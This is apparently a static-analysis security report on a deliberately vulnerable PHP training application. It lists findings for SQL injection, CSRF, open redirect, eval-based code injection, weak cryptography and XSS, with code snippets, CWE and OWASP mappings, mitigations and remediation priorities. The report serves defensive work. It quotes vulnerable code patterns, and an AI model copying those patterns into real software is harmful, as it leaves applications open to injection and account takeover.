Mediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli/home.php61Php CSRF Direct Post To SQLA01:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli_blind/home.php55Php CSRF Direct Post To SQLA01:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/sqli_blind/home.php62Php CSRF Direct Post To SQLA01:2021
$result = $conn->query($sql);
Mediumrules.sast.php.php-csrf-direct-post-to-sqlvulnerabilities/xpath/home.php10Php CSRF Direct Post To SQLA01:2021
$result = $xpath->query($query);
Mitigation — Cross-Site Request Forgery (CSRF)
Attack Scenario: Attacker embeds a hidden form on a malicious page that submits a fund transfer request using the victim's authenticated session.
Impact:
Confidentiality, Integrity, Availability, Non-Repudiation, Access Control: Gain Privileges or Assume Identity, Bypass Protection Mechanism, Read Application Data, Modify Application Data, DoS: Crash, Exit, or Restart
Likelihood:
Medium
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Implementation Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
5 more remediation steps...
Architecture and Design Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Architecture and Design Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Architecture and Design Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Architecture and Design Do not use the GET method for any request that triggers a state change.
Implementation Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
HTML
Vulnerable Pattern
```
	<form action="/url/profile.php" method="post">
	<input type="text" name="firstname"/>
	<input type="text" name="lastname"/>
	<br/>
	<input type="text" name="email"/>
	<input type="submit" name="submit" value="Update"/>
	</form>
```
Recommended Fix
```java
// Spring Security enables CSRF by default — do not disable it
@Configuration
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.csrf(csrf -> csrf
            .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
        );
        return http.build();
    }
}

// In Thymeleaf forms, the token is included automatically:
// <form th:action="@{/transfer}" method="post">...</form>
```
CWE-352 Details | Related: CAPEC-111 CAPEC-462 CAPEC-467 CAPEC-62
↑ Back to findings
Medium Use of a Broken or Risky Cryptographic Algorithm (CWE-327) 3 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/PasswordHash.php45Php Deprecated McryptA02:2021
$salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM));
Mediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/home.php59Php Deprecated McryptA02:2021
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
Mediumrules.sast.php.php-deprecated-mcryptvulnerabilities/crypto/home.php62Php Deprecated McryptA02:2021
$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $str, MCRYPT_MODE_CBC, $iv);
Mitigation — Use of a Broken or Risky Cryptographic Algorithm
Attack Scenario: Attacker exploits weak cryptographic algorithms like MD5 or DES to forge signatures or decrypt sensitive data using known attacks.
Impact:
Confidentiality: Read Application Data; Integrity: Modify Application Data; Accountability, Non-Repudiation: Hide Activities
Likelihood:
High
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification [REF-1192]. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Architecture and Design Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
3 more remediation steps...
Architecture and Design Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Implementation, Architecture and Design When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
C
Vulnerable Pattern
```
	EVP_des_ecb();
```
Recommended Fix
```java
// Use AES-256-GCM instead of DES/3DES/RC4
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
GCMParameterSpec gcmSpec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, gcmSpec);

// Use SHA-256 or SHA-3 instead of MD5/SHA-1
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);
```
CWE-327 Details | Related: CAPEC-20 CAPEC-459 CAPEC-473 CAPEC-475 CAPEC-608 CAPEC-614 CAPEC-97
↑ Back to findings
Medium URL Redirection to Untrusted Site ('Open Redirect') (CWE-601) 2 instances Application → Browser (URL Redirect) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-open-redirect-taintvulnerabilities/redirect/home.php31Php Open Redirect TaintA01:2021
header("Location: ".$forward);
Mediumrules.sast.php.php-open-redirect-taintvulnerabilities/redirect/redirect.php5Php Open Redirect TaintA01:2021
header("Location: ".$forward);
Mitigation — URL Redirection to Untrusted Site ('Open Redirect')
Attack Scenario: Attacker crafts a URL with a redirect parameter pointing to a phishing site, tricking users into revealing credentials on a lookalike page.
Impact:
Access Control: Bypass Protection Mechanism, Gain Privileges or Assume Identity; Access Control, Confidentiality, Other: Bypass Protection Mechanism, Gain Privileges or Assume Identity, Other
Likelihood:
Low
Ease of Exploitation:
Easy
Remediation Steps:
Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.
Architecture and Design Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
4 more remediation steps...
Architecture and Design When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and Design Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Architecture and Design, Implementation Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Operation Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
PHP
Vulnerable Pattern
```
	$redirect_url = $_GET['url'];
	header("Location: " . $redirect_url);
```
CWE-601 Details | Related: CAPEC-178
↑ Back to findings
Medium CWE-287, CWE-384 (CWE-287, CWE-384) 2 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-session-fixationlogin.php16Php Session FixationA07:2021
$_SESSION['user'] = $ActiveUser;
Mediumrules.sast.php.php-session-fixationvulnerabilities/sessionflaws/logout.php3Php Session FixationA07:2021
$_SESSION['user']="";
Medium Use of Insufficiently Random Values (CWE-330) 2 instances Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-weak-random-numbervulnerabilities/fileupload/home.php51Php Weak Random NumberA02:2021
$itemcode = "XVWA".rand(1000,9999);
Mediumrules.sast.php.php-weak-random-numbervulnerabilities/ssrf_xspa/home.php34Php Weak Random NumberA02:2021
$filename = "../../img/".rand()."img1.jpg";
Mitigation — Use of Insufficiently Random Values
Attack Scenario: Attacker predicts the output of a weak random number generator to forge session tokens or bypass security mechanisms.
Impact:
Confidentiality, Other: Other; Access Control, Other: Bypass Protection Mechanism, Other; Access Control: Bypass Protection Mechanism, Gain Privileges or Assume Identity
Likelihood:
High
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds. In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.
Implementation Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.
3 more remediation steps...
Testing Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
Architecture and Design, Requirements Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").
Testing Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
PHP
Vulnerable Pattern
```
	function generateSessionID($userID){
		srand($userID);
		return rand();
	}
```
CWE-330 Details | Related: CAPEC-112 CAPEC-485 CAPEC-59
↑ Back to findings
Medium CWE-1333 (CWE-1333) 1 instance Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-regex-nested-quantifiervulnerabilities/dom_xss/home.php30Php Regex Nested QuantifierA06:2021
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
Medium Improper Control of Generation of Code ('Code Injection') (CWE-94) 1 instance Application → Runtime (Code Evaluation) Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-dangerous-evalvulnerabilities/php_object_injection/home.php32Php Dangerous EvalA03:2021
eval($this->inject);
Mitigation — Improper Control of Generation of Code ('Code Injection')
Attack Scenario: Attacker injects malicious code into a template engine or eval() call, achieving arbitrary code execution within the application runtime.
Impact:
Access Control: Bypass Protection Mechanism; Access Control: Gain Privileges or Assume Identity; Integrity, Confidentiality, Availability: Execute Unauthorized Code or Commands; Non-Repudiation: Hide Activities
Likelihood:
Medium
Ease of Exploitation:
Moderate
Remediation Steps:
Architecture and Design Refactor your program so that you do not have to dynamically generate code.
Architecture and Design Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
6 more remediation steps...
Implementation Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
Testing Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
PHP
Vulnerable Pattern
```
	$MessageFile = "messages.out";
	if ($_GET["action"] == "NewMessage") {
		$name = $_GET["name"];
		$message = $_GET["message"];
		$handle = fopen($MessageFile, "a+");
		fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
		fclose($handle);
		echo "Message Saved!<p>\n";
	}
	else if ($_GET["action"] == "ViewMessages") {
		include($MessageFile);
	}
```
Recommended Fix
```java
// Instead of ScriptEngine.eval(userInput), use a safe templating engine
// with auto-escaping and no code execution:
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
Template template = cfg.getTemplate("safe-template.ftl");
Map<String, Object> model = Map.of("name", userInput);
template.process(model, writer);
```
CWE-94 Details | Related: CAPEC-242 CAPEC-35 CAPEC-77
↑ Back to findings
Medium Generation of Error Message Containing Sensitive Information (CWE-209) 1 instance Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-display-errors-enabledvulnerabilities/sqli/home.php31Php Display Errors EnabledA05:2021
ini_set('display_errors', 1);
Mitigation — Generation of Error Message Containing Sensitive Information
Attack Scenario: Attacker triggers error messages that reveal database schema, file paths, or stack traces, mapping the application's internal architecture.
Impact:
Confidentiality: Read Application Data
Likelihood:
High
Ease of Exploitation:
Easy
Remediation Steps:
Implementation Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
Implementation Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
5 more remediation steps...
Implementation Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
Implementation, Build and Compilation Debugging information should not make its way into a production release.
Implementation, Build and Compilation Debugging information should not make its way into a production release.
System Configuration Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.
System Configuration Create default error pages or messages that do not leak any information.
Java
Vulnerable Pattern
```
	try {
		/.../
	}
	catch (Exception e) {
		System.out.println(e);
	}
```
CWE-209 Details | Related: CAPEC-215 CAPEC-463 CAPEC-54 CAPEC-7
↑ Back to findings
Medium CWE-1236 (CWE-1236) 1 instance Mitigation ↓
ConfidenceRuleFileLineVulnerabilityOWASP
Mediumrules.sast.php.php-csv-injection-taintvulnerabilities/formula_injection/export.php13Php Csv Injection TaintA03:2021
while ($row = mysqli_fetch_assoc($result)) fputcsv($output, $row);
3 low-confidence findings (click to expand)
SeverityConfidenceRuleFileLineDescriptionCWE
secret scanning

Secrets Detection

SeverityConfidenceRuleFileLineDescriptionCWE
MediumLowentropy-detectvulnerabilities/crypto/PasswordHash.php45Hardcoded Cryptographic KeyCWE-321
base****IZE,
MediumLowentropy-detectvulnerabilities/crypto/home.php58Hardcoded Cryptographic KeyCWE-321
mcry****128,
MediumLowentropy-detectvulnerabilities/crypto/home.php62High-Entropy String (Potential Secret)CWE-798
mcry****128,
compliance

Compliance Mapping

OWASP Top 10 (2025)

IDCategoryFindingsStatus
A01 Broken Access Control 10 10 findings detected
A02 Security Misconfiguration 8 8 findings detected
A03 Software Supply Chain Failures 38 38 findings detected
A04 Cryptographic Failures 1 1 finding detected
A05 Injection 1 1 finding detected
A06 Insecure Design 1 1 finding detected
A07 Authentication Failures 3 3 findings detected
A08 Software or Data Integrity Failures 1 1 finding detected
A09 Security Logging and Alerting Failures 0 No findings detected
A10 Mishandling of Exceptional Conditions 1 1 finding detected

OWASP Top 10 (2021)

IDCategoryFindingsStatus
A01 Broken Access Control 10 10 findings detected
A02 Cryptographic Failures 8 8 findings detected
A03 Injection 38 38 findings detected
A04 Insecure Design 1 1 finding detected
A05 Security Misconfiguration 1 1 finding detected
A06 Vulnerable and Outdated Components 1 1 finding detected
A07 Identification and Authentication Failures 3 3 findings detected
A08 Software and Data Integrity Failures 1 1 finding detected
A09 Security Logging and Monitoring Failures 0 No findings detected
A10 Server-Side Request Forgery (SSRF) 1 1 finding detected

CWE Top 25 (2023)

RankCWE IDNameFindings
1 CWE-787 Out-of-bounds Write 0
2 CWE-79 Improper Neutralization of Input During Web Page Generation (XSS) 24
3 CWE-89 Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) 5
4 CWE-416 Use After Free 0
5 CWE-78 Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) 2
6 CWE-20 Improper Input Validation 0
7 CWE-125 Out-of-bounds Read 0
8 CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) 3
9 CWE-352 Cross-Site Request Forgery (CSRF) 5
10 CWE-434 Unrestricted Upload of File with Dangerous Type 1
11 CWE-862 Missing Authorization 0
12 CWE-476 NULL Pointer Dereference 0
13 CWE-287 Improper Authentication 4
14 CWE-190 Integer Overflow or Wraparound 0
15 CWE-502 Deserialization of Untrusted Data 1
16 CWE-77 Improper Neutralization of Special Elements used in a Command (Command Injection) 2
17 CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer 0
18 CWE-798 Use of Hard-coded Credentials 1
19 CWE-918 Server-Side Request Forgery (SSRF) 1
20 CWE-306 Missing Authentication for Critical Function 0
21 CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition) 0
22 CWE-269 Improper Privilege Management 0
23 CWE-94 Improper Control of Generation of Code (Code Injection) 1
24 CWE-863 Incorrect Authorization 0
25 CWE-276 Incorrect Default Permissions 0

Total findings mapped to compliance frameworks: 64

action plan

Remediation Priorities

Findings sorted by severity for remediation prioritisation.

Security (SAST) Remediation

High rules.sast.php.php-md5-password-hash — Php MD5 Password Hash
File: login.php:4 | CWE-287, CWE-327
Fix: md5() or sha1() is used to hash a password. These algorithms are fast and unsalted, making them trivially crackable with rainbow tables or GPU brute force. Use password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID instead.
Critical rules.sast.php.php-command-injection-taint — Php Command Injection Taint
File: vulnerabilities/cmdi/home.php:38 | CWE-77, CWE-78
Fix: User-controlled input flows to an OS command execution function. This enables arbitrary command injection. Use escapeshellarg() on individual arguments, or avoid shell commands entirely by using PHP built-in functions.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/cmdi/home.php:39 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-command-injection-taint — Php Command Injection Taint
File: vulnerabilities/cmdi/home.php:42 | CWE-77, CWE-78
Fix: User-controlled input flows to an OS command execution function. This enables arbitrary command injection. Use escapeshellarg() on individual arguments, or avoid shell commands entirely by using PHP built-in functions.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/cmdi/home.php:43 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/crypto/home.php:46 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/crypto/home.php:71 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/crypto/home.php:77 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/crypto/home.php:82 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
High rules.sast.php.php-md5-password-hash — Php MD5 Password Hash
File: vulnerabilities/csrf/home.php:41 | CWE-287, CWE-327
Fix: md5() or sha1() is used to hash a password. These algorithms are fast and unsalted, making them trivially crackable with rainbow tables or GPU brute force. Use password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID instead.
High rules.sast.php.php-md5-password-hash-direct — Php MD5 Password Hash Direct
File: vulnerabilities/csrf/home.php:41 | CWE-327, CWE-328
Fix: md5() used for password hashing. MD5 is cryptographically broken and unsuitable for password storage. Use password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID instead.
High rules.sast.php.php-path-traversal-include-taint — Php Path Traversal Include Taint
File: vulnerabilities/fi/home.php:36 | CWE-22, CWE-98
Fix: User-controlled input flows to a file inclusion function (include/require). This enables Local File Inclusion (LFI) or Remote File Inclusion (RFI), allowing attackers to execute arbitrary code. Validate file paths against a whitelist and use basename() to strip directory traversal sequences.
High rules.sast.php.php-unrestricted-file-upload-taint — Php Unrestricted File Upload Taint
File: vulnerabilities/fileupload/home.php:70 | CWE-434
Fix: User-controlled filename flows to move_uploaded_file() without proper validation. Attackers can upload executable PHP files (e.g., shell.php) to gain remote code execution. Validate file extension against a whitelist, check MIME type, and use a generated filename instead of the original.
Critical rules.sast.php.php-insecure-deserialization-taint — Php Insecure Deserialization Taint
File: vulnerabilities/php_object_injection/home.php:38 | CWE-502
Fix: User-controlled input flows to unserialize(). Deserializing untrusted data in PHP can trigger __wakeup() and __destruct() magic methods in arbitrary classes, enabling remote code execution via gadget chains. Use json_decode() instead, or specify allowed_classes in the options array: unserialize($data, ["allowed_classes" => false]).
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/php_object_injection/home.php:42 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-direct-output — Php XSS Direct Output
File: vulnerabilities/reflected_xss/home.php:32 | CWE-79
Fix: Superglobal directly echoed to output without encoding. This is a reflected XSS vulnerability. Use htmlspecialchars($input, ENT_QUOTES, 'UTF-8').
Critical rules.sast.php.php-sql-injection-taint — Php SQL Injection Taint
File: vulnerabilities/sqli/home.php:57 | CWE-89
Fix: User-controlled input flows to a SQL query without parameterization. Use prepared statements: $stmt = $pdo->prepare("SELECT * FROM t WHERE id = ?"); $stmt->execute([$id]); or mysqli_prepare() + bind_param().
High rules.sast.php.php-xpath-injection-taint — Php Xpath Injection Taint
File: vulnerabilities/sqli/home.php:57 | CWE-643
Fix: User-controlled input flows to an XPath query without sanitization. This enables XPath injection, allowing attackers to modify query logic to bypass authentication or extract XML data. Parameterize XPath queries or validate/escape user input before inclusion in XPath expressions.
Critical rules.sast.php.php-sql-injection-taint — Php SQL Injection Taint
File: vulnerabilities/sqli/home.php:61 | CWE-89
Fix: User-controlled input flows to a SQL query without parameterization. Use prepared statements: $stmt = $pdo->prepare("SELECT * FROM t WHERE id = ?"); $stmt->execute([$id]); or mysqli_prepare() + bind_param().
High rules.sast.php.php-xpath-injection-taint — Php Xpath Injection Taint
File: vulnerabilities/sqli/home.php:61 | CWE-643
Fix: User-controlled input flows to an XPath query without sanitization. This enables XPath injection, allowing attackers to modify query logic to bypass authentication or extract XML data. Parameterize XPath queries or validate/escape user input before inclusion in XPath expressions.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli/home.php:67 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli/home.php:68 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli/home.php:69 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli/home.php:70 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli/home.php:71 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-sql-injection-taint — Php SQL Injection Taint
File: vulnerabilities/sqli_blind/home.php:55 | CWE-89
Fix: User-controlled input flows to a SQL query without parameterization. Use prepared statements: $stmt = $pdo->prepare("SELECT * FROM t WHERE id = ?"); $stmt->execute([$id]); or mysqli_prepare() + bind_param().
High rules.sast.php.php-xpath-injection-taint — Php Xpath Injection Taint
File: vulnerabilities/sqli_blind/home.php:55 | CWE-643
Fix: User-controlled input flows to an XPath query without sanitization. This enables XPath injection, allowing attackers to modify query logic to bypass authentication or extract XML data. Parameterize XPath queries or validate/escape user input before inclusion in XPath expressions.
Critical rules.sast.php.php-sql-injection-taint — Php SQL Injection Taint
File: vulnerabilities/sqli_blind/home.php:62 | CWE-89
Fix: User-controlled input flows to a SQL query without parameterization. Use prepared statements: $stmt = $pdo->prepare("SELECT * FROM t WHERE id = ?"); $stmt->execute([$id]); or mysqli_prepare() + bind_param().
High rules.sast.php.php-xpath-injection-taint — Php Xpath Injection Taint
File: vulnerabilities/sqli_blind/home.php:62 | CWE-643
Fix: User-controlled input flows to an XPath query without sanitization. This enables XPath injection, allowing attackers to modify query logic to bypass authentication or extract XML data. Parameterize XPath queries or validate/escape user input before inclusion in XPath expressions.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli_blind/home.php:71 | CWE-79
Fix: User-controlled input flows to HTML output without encoding. This enables cross-site scripting (XSS). Apply output encoding using htmlspecialchars($input, ENT_QUOTES, 'UTF-8') before rendering in HTML.
Critical rules.sast.php.php-xss-taint — Php XSS Taint
File: vulnerabilities/sqli_blind/home.php:72 | CWE-79
